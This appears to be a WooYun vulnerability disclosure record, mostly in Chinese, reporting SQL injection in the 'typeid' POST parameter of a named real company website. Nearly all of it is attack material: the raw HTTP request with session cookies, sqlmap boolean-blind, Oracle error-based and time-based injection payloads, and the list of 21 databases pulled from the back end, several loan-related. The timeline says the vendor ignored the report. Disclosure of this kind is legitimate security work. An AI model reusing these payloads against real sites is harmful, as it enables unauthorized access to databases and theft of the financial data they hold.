乌云(WooYun.org)历史漏洞查询---http://wy.zone.ci/
乌云 Drops 文章在线浏览--------http://drop.zone.ci/
2015-11-20: 细节已通知厂商并且等待厂商处理中 2015-11-25: 厂商已经主动忽略漏洞,细节向公众公开
POST /yanshi/news HTTP/1.1Content-Length: 25Content-Type: application/x-www-form-urlencodedReferer: http://www.yingcankeji.comCookie: JSESSIONID=3462689F82DF568CC31F97E216FC8D72; JSESSIONID=3462689F82DF568CC31F97E216FC8D72; CNZZDATA1255722814=830787503-1447814361-http%253A%252F%252Fwww.acunetix-referrer.com%252F%7C1447814361; Hm_lvt_9378d61320cf7c8ab4d8d79f15d132d9=1447814528,1447814530,1447814534,1447814545; Hm_lpvt_9378d61320cf7c8ab4d8d79f15d132d9=1447814545; HMACCOUNT=F17AE5389B93F601Host: www.yingcankeji.comConnection: Keep-aliveAccept-Encoding: gzip,deflateUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.21 (KHTML, like Gecko) Chrome/41.0.2228.0 Safari/537.21Accept: */*currentPage=&typeid=1
sqlmap resumed the following injection point(s) from stored session:---Parameter: typeid (POST) Type: boolean-based blind Title: AND boolean-based blind - WHERE or HAVING clause Payload: currentPage=&typeid=1) AND 3051=3051 AND (1000=1000 Type: error-based Title: Oracle AND error-based - WHERE or HAVING clause (XMLType) Payload: currentPage=&typeid=1) AND 5962=(SELECT UPPER(XMLType(CHR(60)||CHR(58)||CHR(113)||CHR(120)||CHR(107)||CHR(112)||CHR(113)||(SELECT (CASE WHEN (5962=5962) THEN 1 ELSE 0 END) FROM DUAL)||CHR(113)||CHR(120)||CHR(112)||CHR(122)||CHR(113)||CHR(62))) FROM DUAL) AND (1520=1520 Type: AND/OR time-based blind Title: Oracle AND time-based blind Payload: currentPage=&typeid=1) AND 8492=DBMS_PIPE.RECEIVE_MESSAGE(CHR(82)||CHR(98)||CHR(104)||CHR(120),5) AND (5451=5451---back-end DBMS: Oracleavailable databases [21]:[*] APEX_030200[*] APPQOSSYS[*] CTXSYS[*] DBSNMP[*] EXFSYS[*] FLOWS_FILES[*] LOANHELPER[*] MDSYS[*] OLAPSYS[*] ORDDATA[*] ORDSYS[*] OUTLN[*] OWBSYS[*] SCOTT[*] SHOWLOAN[*] SYS[*] SYSMAN[*] SYSTEM[*] WMSYS[*] XDB[*] YESMYLOAN
危害等级:无影响厂商忽略
忽略时间:2015-11-25 16:48
漏洞Rank:4 (WooYun评价)
暂无